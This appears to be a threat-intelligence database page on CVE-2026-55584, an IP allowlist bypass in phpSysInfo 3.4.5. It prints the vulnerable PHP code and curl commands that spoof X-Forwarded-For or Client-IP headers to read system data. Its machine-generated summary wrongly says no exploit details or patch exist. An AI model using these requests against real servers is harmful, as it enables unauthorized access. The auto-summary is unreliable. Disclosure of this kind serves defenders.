phpSysInfo 3.4.5 - IP Allowlist Bypass
phpSysInfo 3.4.5 - IP Allowlist Bypass
AI Analysis
Technical Summary
The vulnerability identified as CVE-2026-55584 affects phpSysInfo version 3.4.5 and earlier. It allows an attacker to bypass the IP allowlist mechanism intended to restrict access based on client IP addresses. No detailed technical information or exploitation methods are provided in the source data. There is no indication of active exploitation in the wild or available patches.
Potential Impact
This vulnerability could enable unauthorized users to access phpSysInfo instances protected by IP allowlists, potentially exposing system information that phpSysInfo displays. The exact impact depends on the deployment context and sensitivity of the information exposed by phpSysInfo.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a patch is available, consider implementing additional access controls beyond IP allowlisting or restricting access to trusted networks.
Indicators of Compromise
- exploit-code: # Exploit Title: phpSysInfo 3.4.5 - IP Allowlist Bypass # Google Dork: N/A # Date: 2026-07-11 # Exploit Author: Muhammed Mirac Kayikci # Vendor Homepage: https://phpsysinfo.github.io/phpsysinfo/ # Software Link: https://github.com/phpsysinfo/phpsysinfo/archive/refs/tags/v3.4.5.tar.gz # Version: <= 3.4.5 # Tested on: Linux (Apache/PHP) # CVE : CVE-2026-55584 References: ----------- GHSA: https://github.com/phpsysinfo/phpsysinfo/security/advisories/GHSA-786w-p5pm-cvgh CVE: https://www.cve.org/CVERecord?id=CVE-2026-55584 Description: ------------ phpSysInfo's PSI_ALLOWED IP allowlist resolves the client IP from the attacker-controlled "X-Forwarded-For" (then "Client-IP") request headers before falling back to REMOTE_ADDR. There is no trusted-proxy concept, so an attacker can spoof an allowed IP address, defeat the allowlist, and read full system information exposed via xml.php. Vulnerable code (read_config.php): ---------------------------------- if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) { $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; } elseif (isset($_SERVER["HTTP_CLIENT_IP"])) { $ip = $_SERVER["HTTP_CLIENT_IP"]; } else { $ip = $_SERVER["REMOTE_ADDR"]; // only trustworthy source, checked last } Proof of Concept: ----------------- # Allowlist set to an address the attacker does not own (ALLOWED=8.8.8.8) # 1) Baseline - request is blocked: curl -s http://target/xml.php # -> "Client IP address (...) not allowed." # 2) Bypass via X-Forwarded-For - returns full system XML: curl -s -H "X-Forwarded-For: 8.8.8.8" http://target/xml.php # 3) Bypass via Client-IP - returns full system XML: curl -s -H "Client-IP: 8.8.8.8" http://target/xml.php Fix: ---- Fixed in 3.4.6 (commit 019fa2d): default to REMOTE_ADDR; honor X-Forwarded-For / Client-IP only from configured trusted proxies.
phpSysInfo 3.4.5 - IP Allowlist Bypass
Description
phpSysInfo 3.4.5 - IP Allowlist Bypass
Affected software
pkg:github/phpsysinfo/phpsysinfoRun on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The vulnerability identified as CVE-2026-55584 affects phpSysInfo version 3.4.5 and earlier. It allows an attacker to bypass the IP allowlist mechanism intended to restrict access based on client IP addresses. No detailed technical information or exploitation methods are provided in the source data. There is no indication of active exploitation in the wild or available patches.
Potential Impact
This vulnerability could enable unauthorized users to access phpSysInfo instances protected by IP allowlists, potentially exposing system information that phpSysInfo displays. The exact impact depends on the deployment context and sensitivity of the information exposed by phpSysInfo.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a patch is available, consider implementing additional access controls beyond IP allowlisting or restricting access to trusted networks.
Technical Details
- Cve
- CVE-2026-55584
- Version
- <= 3.4.5
- Author
- Muhammed Mirac Kayikci
- Platform
- Linux
- Edb Id
- 52648
- Has Exploit Code
- true
- Code Language
- text
Indicators of Compromise
Exploit Source Code
Exploit code for phpSysInfo 3.4.5 - IP Allowlist Bypass
# Exploit Title: phpSysInfo 3.4.5 - IP Allowlist Bypass # Google Dork: N/A # Date: 2026-07-11 # Exploit Author: Muhammed Mirac Kayikci # Vendor Homepage: https://phpsysinfo.github.io/phpsysinfo/ # Software Link: https://github.com/phpsysinfo/phpsysinfo/archive/refs/tags/v3.4.5.tar.gz # Version: <= 3.4.5 # Tested on: Linux (Apache/PHP) # CVE : CVE-2026-55584 References: ----------- GHSA: https://github.com/phpsysinfo/phpsysinfo/security/advisories/GHSA-786w-p5pm-cvgh CVE: https://www.cve.org/... (1321 more characters)
Threat ID: 6a838813bf8831d539a900bd
Added to database: 08/17/2026, 22:15:47 UTC
Last enriched: 09/30/2026, 21:05:04 UTC
Last updated: 10/02/2026, 02:46:05 UTC
Views: 68
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.